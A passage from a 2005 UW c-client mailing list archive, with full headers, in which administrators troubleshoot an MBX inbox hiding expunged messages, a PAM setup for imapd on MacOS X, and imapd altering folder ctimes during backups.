http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Apr 8 04:15:08 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Apr 2005 04:15:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38BF8vb021452 for ; Fri, 8 Apr 2005 04:15:08 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38BF6tA020828 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 8 Apr 2005 04:15:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j38BEx1p009446; Fri, 8 Apr 2005 04:15:00 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j38BDq87084436 for ; Fri, 8 Apr 2005 04:13:52 -0700 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.19]) by mxe5.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38BDpqN028965 for ; Fri, 8 Apr 2005 04:13:51 -0700 Received: from smtp2.qub.ac.uk ([143.117.143.72] helo=smtp.qub.ac.uk) by mailhub2.qub.ac.uk with esmtp (Exim 4.20) id 1DJrQs-0001ux-SC for c-client@u.washington.edu; Fri, 08 Apr 2005 11:13:50 +0000 Received: from a9203.cc.qub.ac.uk ([143.117.9.203] helo=clive) by smtp.qub.ac.uk with esmtp (Exim 4.42) id 1DJrQq-0001kA-Ow for c-client@u.washington.edu; Fri, 08 Apr 2005 11:13:49 +0000 Message-Id: Date: Fri, 8 Apr 2005 12:13:52 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Clive McDowell" To: Subject: Problem with MBX INBOX MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.168 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Folks, I have a strange problem with an MBX format INBOX. It contains 6618 messages but only the most recent 33 are being displayed by PINE or any other clients I've tried. Connecting to the INBOX does not result in any error messages so I don't really have anything to go on to make a manual repair. There doesn't appear to be a problem with the message immediately prior to the first one being displayed. Any advice on how to proceed will be gratefully received. Thanks, Clive McDowell Information Services The Queen's University of Belfast -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Apr 8 04:31:59 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Apr 2005 04:31:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38BVx1t022053 for ; Fri, 8 Apr 2005 04:31:59 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38BVwiO021626 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 8 Apr 2005 04:31:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j38BVnHG021720; Fri, 8 Apr 2005 04:31:49 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j38BVCCE027934 for ; Fri, 8 Apr 2005 04:31:12 -0700 Received: from rwcrmhc14.comcast.net (rwcrmhc14.comcast.net [216.148.227.89]) by mxe4.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38BV9j0019274 for ; Fri, 8 Apr 2005 04:31:12 -0700 Received: from pcp09260953pcs.olathe01.ks.comcast.net ([69.240.246.163]) by comcast.net (rwcrmhc14) with ESMTP id <2005040811310801400lqbfoe>; Fri, 8 Apr 2005 11:31:09 +0000 Received: (from root@localhost) by pcp09260953pcs.olathe01.ks.comcast.net (8.12.10/8.12.8) id j38BV6hp027684 for c-client@u.washington.edu; Fri, 8 Apr 2005 06:31:06 -0500 Received: from pcp09260953pcs.olathe01.ks.comcast.net (localhost [127.0.0.1]) by pcp09260953pcs.olathe01.ks.comcast.net (8.12.10/8.12.8) with ESMTP id j38BV6cK027643 for ; Fri, 8 Apr 2005 06:31:06 -0500 Received: (from nobody@localhost) by pcp09260953pcs.olathe01.ks.comcast.net (8.12.10/8.12.8/Submit) id j38BV6Lx027642 for c-client@u.washington.edu; Fri, 8 Apr 2005 06:31:06 -0500 Received: from tabby (tabby [192.168.168.2]) by mail.doctorunix.com (IMP) with HTTP for ; Fri, 8 Apr 2005 06:31:05 -0500 Message-Id: <1112959865.42566b79f0e54@mail.doctorunix.com> Date: Fri, 8 Apr 2005 06:31:05 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tom@doctorunix.com To: c-client@u.washington.edu Subject: Re: Problem with MBX INBOX In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Authentication-Warning: pcp09260953pcs.olathe01.ks.comcast.net: nobody set sender to tom@doctorunix.com using -f X-Originating-IP: 192.168.168.2 X-scanner: scanned by Inflex 1.0.12.7 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on pcp09260953pcs.olathe01.ks.comcast.net X-Spam-Status: No, hits=-0.7 required=5.0 tests=BAYES_00,NO_REAL_NAME autolearn=no version=2.63 X-Spam-Level: X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The mbx file may be corrupt. This is prevalent in clustered environments, but I have seen it occasionally in non clustered environments. Download the mbxuncorrupter at: http://sourceforge.net/projects/mbxuncorrupter/ If it doesn't fix the problem, maybe it will shed some light on the real problem. You can also contact the developer of mbxuncorrupter for more help. tc Quoting Clive McDowell : > Folks, > > I have a strange problem with an MBX format INBOX. It contains 6618 messages > but only the most recent 33 are being displayed by > PINE or any other clients I've tried. Connecting to the INBOX does not result > in any error messages so I don't really have > anything to go on to make a manual repair. There doesn't appear to be a > problem with the message immediately prior to the first > one being displayed. Any advice on how to proceed will be gratefully > received. > > Thanks, > > Clive McDowell > > Information Services > The Queen's University of Belfast > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > ------------------------------------------------- Email solutions, MS Exchange alternatives and extrication, security services, systems integration. Contact: services@doctorunix.com From pinedev@shivax2.cac.washington.edu Fri Apr 8 05:47:31 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Apr 2005 05:47:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38ClV0S024137 for ; Fri, 8 Apr 2005 05:47:31 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38ClU6g023928 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 8 Apr 2005 05:47:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j38ClLVC005200; Fri, 8 Apr 2005 05:47:21 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j38CkPih107630 for ; Fri, 8 Apr 2005 05:46:25 -0700 Received: from artemis.le.ac.uk (ntp2c.le.ac.uk [143.210.4.129]) by mxe4.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38CkOIQ001438 for ; Fri, 8 Apr 2005 05:46:25 -0700 Received: from [143.210.72.249] (helo=scyros.mcs.le.ac.uk) by artemis.le.ac.uk with esmtp (Exim 4.44) id 1DJssR-0000E0-GB; Fri, 08 Apr 2005 13:46:23 +0100 Received: from pc54 (pc54.mcs.le.ac.uk [143.210.72.46]) by scyros.mcs.le.ac.uk (Postfix) with SMTP id A965F1009D8; Fri, 8 Apr 2005 13:46:24 +0100 (BST) Message-Id: <20050408124624.A965F1009D8@scyros.mcs.le.ac.uk> Date: Fri, 8 Apr 2005 13:46:23 +0100 (BST) Reply-To: "J. A. Landamore" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. A. Landamore" To: c.mcdowell@qub.ac.uk Cc: c-client@u.washington.edu Subject: Re: Problem with MBX INBOX MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: z1GeCbyk8hFpDBauEBHi4g== X-UoL-Id: 0e9380ebc6cc4ce622019c6f2883a151@1DJssR-0000E0-GB@artemis.le.ac.uk X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does mailutil check comes back reporting no errors and the correct number of messages? John Landamore School of Mathematics & Computer Science University of Leicester University Road, LEICESTER, LE1 7RH J.Landamore@mcs.le.ac.uk Phone: +44 (0)116 2523410 Fax: +44 (0)116 2523604 > >Folks, > >I have a strange problem with an MBX format INBOX. It contains 6618 messages but only the most recent 33 are being displayed by >PINE or any other clients I've tried. Connecting to the INBOX does not result in any error messages so I don't really have >anything to go on to make a manual repair. There doesn't appear to be a problem with the message immediately prior to the first >one being displayed. Any advice on how to proceed will be gratefully received. > >Thanks, > > Clive McDowell > >Information Services >The Queen's University of Belfast > >-- >------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html >------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Fri Apr 8 06:26:09 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Apr 2005 06:26:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38DQ9kn025332 for ; Fri, 8 Apr 2005 06:26:09 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38DQ66w025650 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 8 Apr 2005 06:26:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j38DQ0Zj017486; Fri, 8 Apr 2005 06:26:00 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j38DP94i107678 for ; Fri, 8 Apr 2005 06:25:09 -0700 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.19]) by mxe1.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38DP8c9006946 for ; Fri, 8 Apr 2005 06:25:09 -0700 Received: from smtp2.qub.ac.uk ([143.117.143.72] helo=smtp.qub.ac.uk) by mailhub2.qub.ac.uk with esmtp (Exim 4.20) id 1DJtTw-0006eE-3T for c-client@u.washington.edu; Fri, 08 Apr 2005 13:25:08 +0000 Received: from a9203.cc.qub.ac.uk ([143.117.9.203] helo=clive) by smtp.qub.ac.uk with esmtp (Exim 4.42) id 1DJtTt-0004SN-V4 for c-client@u.washington.edu; Fri, 08 Apr 2005 13:25:06 +0000 Message-Id: Date: Fri, 8 Apr 2005 14:25:09 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Clive McDowell" To: Subject: RE: Problem with MBX INBOX In-Reply-To: <20050408124624.A965F1009D8@scyros.mcs.le.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.136 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > -----Original Message----- > From: J. A. Landamore [mailto:jal@mcs.le.ac.uk] > Sent: 08 April 2005 13:46 > To: c.mcdowell@qub.ac.uk > Cc: c-client@u.washington.edu > Subject: Re: Problem with MBX INBOX > > Does mailutil check comes back reporting no errors > and the correct number of messages? John, no it reports 'No new messages, 0 total in INBOX' even though the file size is 203661024. Clive McDowell Information Services The Queen's University of Belfast From pinedev@shivax2.cac.washington.edu Fri Apr 8 09:23:15 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Apr 2005 09:23:15 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38GNFXY000374 for ; Fri, 8 Apr 2005 09:23:15 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38GNErL002389 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 8 Apr 2005 09:23:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j38GN8J9017444; Fri, 8 Apr 2005 09:23:09 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j38GLe3w123016 for ; Fri, 8 Apr 2005 09:21:40 -0700 Received: from abel.math.harvard.edu (math.harvard.edu [140.247.28.153]) by mxe4.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38GLd73000827 for ; Fri, 8 Apr 2005 09:21:39 -0700 Received: from [140.247.29.121] (net-74786.fas.harvard.edu [140.247.29.121]) by abel.math.harvard.edu (8.11.7-20030923/8.11.7) with ESMTP id j38GLbv25587; Fri, 8 Apr 2005 12:21:37 -0400 (EDT) Message-Id: Date: Fri, 08 Apr 2005 12:21:36 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matthew Leingang To: Mark Crispin Cc: Subject: Re: imapd for MacOS X - Authentication errors In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear Mark, Thanks for your answer. I've figured out the authentication problems, and it has to do with PAM. MacOS 10.3 (Panther) uses PAM for all of its authentication, quite different from 10.2 (Jaguar). So in addition to starting the imap service on port 143 (and imaps on 993), which I also hadn't been doing before), I had to add a file 'imap' to /etc/pam.d/. Something like: # imap : auth account password session auth required pam_nologin.so auth sufficient pam_securityserver.so auth sufficient pam_unix.so auth required pam_deny.so account required pam_permit.so password required pam_deny.so session required pam_uwtmp.so After this authentication worked, no matter if I compiled with SSLTYPE=unix or SSLTYPE=nopwd. I still have problems with the SSL certificate being validated, but that's a different question for a different mailing list. I found this page very helpful: http://www.theatrain.net/pantherimaps.html. Thanks again! --Matt On 4/7/05 2:33 PM, "Mark Crispin" wrote: > On Thu, 7 Apr 2005, Matthew Leingang wrote: >> Now when I try to connect using an IMAP client (even "telnet localhost 143") >> I can't login. I get the NO LOGIN failed response. > > Does this happen when you make an SSL (port 993) connection to your IMAP > server? > > Does Entourage do a STARTTLS command? If it doesn't, then you must use > port 993 and not port 143. > >> I've also tried >> building with the arguments SSLTYPE=unix (to allow plaintext logging in, >> kind of a no-no). Same problem. > > Did you make sure that when the server started, that LOGINDISABLED does > *not* appear in the CAPABILITY list (you'll see it in the server greeting > banner)? If LOGINDISABLED appears, then you are running a SSLTYPE=nopwd > build server. > > Note that you must do a complete rebuild (make clean) if you want to > change the SSLTYPE option. There are wizardry ways to avoid this, but > don't distract yourself with that for now. > > Please keep me informed of your progress. Unfortunately, greater security > means that there are more things to go wrong, but we'll get you going and > happily IMAPing. > >> Related question: Once it gets working, I only want to allow connections on >> the IMAP port from localhost. Can I do that with the >> /etc/hosts.{deny,allow} files? > > Yes. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. -- Matthew Leingang Preceptor in Mathematics Harvard University URL: http://www.math.harvard.edu/~leingang/ vCard: http://www.math.harvard.edu/~leingang/vCard.vcf From pinedev@shivax2.cac.washington.edu Fri Apr 8 10:24:47 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Apr 2005 10:24:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38HOlIA002999 for ; Fri, 8 Apr 2005 10:24:47 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38HOkUN005815 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 8 Apr 2005 10:24:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j38HOdqo009364; Fri, 8 Apr 2005 10:24:39 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j38HNWIs041038 for ; Fri, 8 Apr 2005 10:23:32 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi2.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38HNWjp029083 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 8 Apr 2005 10:23:32 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38HNVhb005137; Fri, 8 Apr 2005 10:23:31 -0700 Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38HNTli031500 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 8 Apr 2005 10:23:30 -0700 Message-Id: Date: Fri, 8 Apr 2005 10:23:26 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Clive McDowell Cc: c-client@u.washington.edu Subject: Re: Problem with MBX INBOX In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 8 Apr 2005, Clive McDowell wrote: > I have a strange problem with an MBX format INBOX. It contains 6618 > messages but only the most recent 33 are being displayed by PINE or any > other clients I've tried. That means that the other 6585 messages were deleted and expunged in a shared session. Those messages will be removed (and the space they occupy reclaimed) the next time an expunge or checkpoint is done in an exclusive session. The power tool ftp://ftp.cac.washington.edu/mail/powertool/unexpunge.c can be used to turn off the expunge bits for those messages. Feed the file to its stdin, and get the unexpunged version on stdout. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Apr 8 12:31:31 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Apr 2005 12:31:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38JVVhq008856 for ; Fri, 8 Apr 2005 12:31:31 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38JVRMw014299 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 8 Apr 2005 12:31:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j38JVL9k020180; Fri, 8 Apr 2005 12:31:21 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j38JULKD121988 for ; Fri, 8 Apr 2005 12:30:21 -0700 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.19]) by mxe7.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j38JUKq6011520 for ; Fri, 8 Apr 2005 12:30:20 -0700 Received: from smtp2.qub.ac.uk ([143.117.143.72] helo=smtp.qub.ac.uk) by mailhub2.qub.ac.uk with esmtp (Exim 4.20) id 1DJzBL-0006Kt-DI; Fri, 08 Apr 2005 19:30:19 +0000 Received: from cpc1-blfs1-5-0-cust7.belf.cable.ntl.com ([80.3.202.7]) by smtp.qub.ac.uk with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.42) id 1DJzBK-0000Wv-PE; Fri, 08 Apr 2005 19:30:18 +0000 Message-Id: <4256DBCB.8090808@qub.ac.uk> Date: Fri, 08 Apr 2005 20:30:19 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Clive McDowell To: Mark Crispin , c-client@u.washington.edu Subject: Re: Problem with MBX INBOX In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Fri, 8 Apr 2005, Clive McDowell wrote: > >> I have a strange problem with an MBX format INBOX. It contains 6618 >> messages but only the most recent 33 are being displayed by PINE or >> any other clients I've tried. > > > That means that the other 6585 messages were deleted and expunged in a > shared session. Those messages will be removed (and the space they > occupy reclaimed) the next time an expunge or checkpoint is done in an > exclusive session. Mark, thanks - that was exactly the problem. This user seems to have a habit of leaving several sessions open. I guess she hasn't run an exclusive session for a while. Once forced to do so the inbox space was recovered. Clive McDowell From pinedev@shivax2.cac.washington.edu Mon Apr 11 11:25:35 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Apr 2005 11:25:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3BIPYsX028052 for ; Mon, 11 Apr 2005 11:25:34 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3BIPXPH031569 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 11 Apr 2005 11:25:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3BIPRHr013862; Mon, 11 Apr 2005 11:25:27 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3BINrMN049948 for ; Mon, 11 Apr 2005 11:23:53 -0700 Received: from moose.cs.indiana.edu (moose.cs.indiana.edu [129.79.247.191]) by mxe2.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3BINqCC011118 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 11 Apr 2005 11:23:52 -0700 Received: from robwilco.cs.indiana.edu (robwilco.cs.indiana.edu [129.79.245.59]) by moose.cs.indiana.edu (8.12.11/8.12.11/IUCS_2.65) with ESMTP id j3BINp1E017777 for ; Mon, 11 Apr 2005 13:23:51 -0500 (EST) Received: from robwilco.cs.indiana.edu (localhost [127.0.0.1]) by robwilco.cs.indiana.edu (8.13.1/8.13.1/NULLCLIENT_1.4) with ESMTP id j3BINpxq020481 for ; Mon, 11 Apr 2005 13:23:51 -0500 Message-Id: <200504111823.j3BINpxq020481@robwilco.cs.indiana.edu> Date: Mon, 11 Apr 2005 13:23:51 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rob Henderson To: c-client@u.washington.edu Subject: imapd changing ctime X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.14 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We have observed that the UW imapd is changing the ctime on mail folders on every access, even when the folder is not modified. This ends up causing a bad interaction with our incremental backups which are based on ctime rather than mtime. For example, we have a number of users with very large archived mail folders that haven't been modified in years. However, they are frequently accessed for reading via imap. Every time they are accessed, the ctime changes so they are being backed up during the incremental backups. I'm trying to understand why imapd would need to modify a folder's ctime like this and to find out if I can make it stop doing this. Thanks for your help! --Rob -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 11 11:52:36 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Apr 2005 11:52:36 -0700 (PDT) Return-Path: Received: from 